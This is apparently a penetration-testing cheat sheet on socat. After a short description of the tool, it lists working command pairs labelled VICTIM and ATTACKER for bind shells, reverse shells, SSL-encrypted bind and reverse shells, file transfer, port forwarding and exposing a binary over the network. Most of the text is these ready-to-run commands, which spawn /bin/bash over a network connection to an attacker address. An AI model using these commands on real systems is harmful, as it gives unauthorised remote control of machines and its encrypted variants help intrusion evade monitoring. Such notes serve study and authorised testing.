Socat

Socat supports data communication in both directions between a sender and a receiver

This also supports transferring data between those two channels independently

Data channels used by socat can be in the form of,

  • A file or An executable program

  • File Descriptor ( 0 - STDIN , 1 - STDOUT , 2 - STDERR )

  • Pipe

  • Serial port communication of device

  • Sockets ( RAW, TCP, UDP, IPv4, IPv6, UNIX)

  • SSL Sockets ( Socket Data + SSL Encryption )

  • CONNECT with Proxy

Socat is similar to Netcat, but it supports some additional features like,

  • Multiple connections

  • Usage of secure protocols ( OpenSSL , Sockets , VPN Tunnel , SCTP )

BIND SHELL

VICTIM

socat tcp4-listen:5555 exec:/bin/bash

ATTACKER

socat - tcp4-connect:192.168.116.129:5555

REVERSE SHELL

ATTACKER

socat tcp4-listen:5555 STDOUT

VICTIM

socat tcp-connect:192.168.116.128:5555 exec:/bin/bash

ENCRYPTED BIND SHELL

VICTIM

openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
cat shell.key shell.crt > shell.pem
socat openssl-listen:5555,cert=shell.pem,verify=0,fork exec:/bin/bash

ATTACKER

socat - openssl:192.168.116.129:5555,verify=0

ENCRYPTED REVERSE SHELL

ATTACKER

openssl req -newkey rsa:2048 -nodes -keyout kali_shell.key -x509 -days 365 -out kali_shell.crt
cat kali_shell.key kali_shell.crt > kali_shell.pem
socat openssl-listen:5555,cert=kali_shell.pem,verify=0,fork STDOUT

VICTIM

socat openssl:192.168.116.128:5555,verify=0 exec:/bin/bash

FILE TRANSFER

ATTACKER

socat tcp-listen:5555,fork file:transfer_file.txt

VICTIM

socat tcp-connect:192.168.116.128:5555 file:data.txt,create

PORT FORWARDING

// Apache Server - Port 80
sudo socat tcp-listen:5555,reuseaddr,fork tcp:127.0.0.1:80 &

RUNNING ELF BINARIES IN SERVER

socat tcp-listen:5000,reuseaddr,fork exec:"./sample",pty,stderr

Last updated